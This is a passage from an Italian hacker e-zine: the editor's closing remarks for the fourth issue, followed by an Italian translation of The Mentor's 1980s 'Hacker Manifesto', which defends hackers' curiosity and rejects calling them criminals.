simile ad uno gia presente pensateci su'...le idee, sono sicuro, le avete. Un'altra cosa: Mi era venuta la curiosita' di sapere quanti siete la' fuori nel mondo del bit che leggete questo testo e vi invito ad inviare alla mail del Dr.Creker o alla mia una semplice lettere con nel subject la scritta "prova". Se avete voglia fatelo. Concludo questo quarto numero riportando un testo che tutti dovrebbero conoscere; fino a ieri era in lingua inglese ma oggi lo abbiamo tradotto per chi con quella lingua non ha molto a che fare... ;)) Chiedo scusa in anticipo per gli eventuali errori di traduzione o di comprensione. Ringrazio Xoanon e RaggedRobin per l'aiuto che mi hanno fornito. HACKER MANIFESTO ++The Mentor++ ( The Mentor's Last Words ) Ne e' stato arrestato un altro oggi, e' su tutti i giornali. "Ragazzo arrestato per crimine informatico", "Hacker arrestato dopo essersi infiltrato in una banca"... Dannati ragazzini. Sono tutti uguali. Ma avete mai, con la vostra psicologia da due soldi e il vostro tecno-cervello da anni 50, guardato dietro agli occhi del Hacker? Non vi siete mai chiesti cosa abbia fatto nascere la sua passione? Quale forza lo abbia creato, cosa puo' averlo forgiato? Io sono un hacker, entrate nel mio mondo... Il mio e' un mondo che inizia con la scuola... Sono piu' sveglio di molti altri ragazzi, quello che ci insegnano mi annoia... Dannato sottosviluppato. Sono tutti uguali. Io sono alle Junior High, o alla High School. Ho ascoltato gli insegnanti spiegare per quindici volte come ridurre una frazione. L'ho capito. "No, Ms. Smith, io non mostro il mio lavoro. E' tutto nella mia testa..." Dannato bambino. Probabilmente lo ha copiato. Sono tutti uguali. Ho fatto una scoperta oggi. Ho trovato un computer. Aspetta un momento, questo e' incredibile! Fa esattamente quello che voglio. Se commetto un errore, e' perche' io ho sbagliato, non perche' io non gli piaccio... O perche' si senta minacciato da me... O perche' pensi che io sia un coglione... O perche' non gli piace insegnare e vorrebbe essere da un'altra parte... Dannato bambino. Tutto quello che fa e' giocare. Sono tutti uguali. Poi e' successa una cosa...una porta si e' aperta su un mondo...correndo attraverso le linee telefoniche come l'eroina nelle vene del tossicomane, un impulso elettronico e' stato spedito, un rifugio dagli incompetenti di ogni giorno e' stato trovato, una tastiera e' stata scoperta. "Questo e'...questo e' il luogo a cui appartengo..." Io conosco tutti qui...non ci siamo mai incontrati, non abbiamo mai parlato faccia a faccia, non ho mai ascoltato le loro voci...pero' conosco tutti. Dannato bambino. Si e' allacciato nuovamente alla linea telefonica. Sono tutti uguali. Ci potete scommettere il culo che siamo tutti uguali...noi siamo stati nutriti con cibo da bambini alla scuola mentre bramavamo una bistecca... i pezzi di cibo che ci avete dato erano gia stati masticati e senza sapore. Noi siamo stati dominati da sadici o ignorati dagli indifferenti. I pochi che avevano qualcosa da insegnarci trovavano in noi volenterosi allievi, ma queste persone sono come gocce d'acqua nel deserto. Ora e' questo il nostro mondo...il mondo dell'elettrone e dello switch, la bellezza del baud. Noi facciamo uso di un servizio gia esistente che non costerebbe nulla se non fosse controllato da approfittatori ingordi, e voi ci chiamate criminali. Noi esploriamo...e ci chiamate criminali. Noi cerchiamo conoscenza...e ci chiamate criminali. Noi esistiamo senza colore di pelle, nazionalita', credi religiosi e ci chiamate criminali. Voi costruite bombe atomiche, finanziate guerre, uccidete, ingannate e mentite e cercate di farci credere che lo fate per il nostro bene, e poi siamo noi i criminali. Si, io sono un criminale. Il mio crimine e' la mia curiosita'. Il mio crimine e' quello che i giurati pensano e sanno non quello che guardano. Il mio crimine e' quello di scovare qualche vostro segreto, qualcosa che non vi fara' mai dimenticare il mio nome. Io sono un hacker e questo e' il mio manifesto. Potete anche fermare me, ma non potete fermarci tutti...dopo tutto, siamo tutti uguali. Ci risentiamo a dicembre con il numero natalizio :))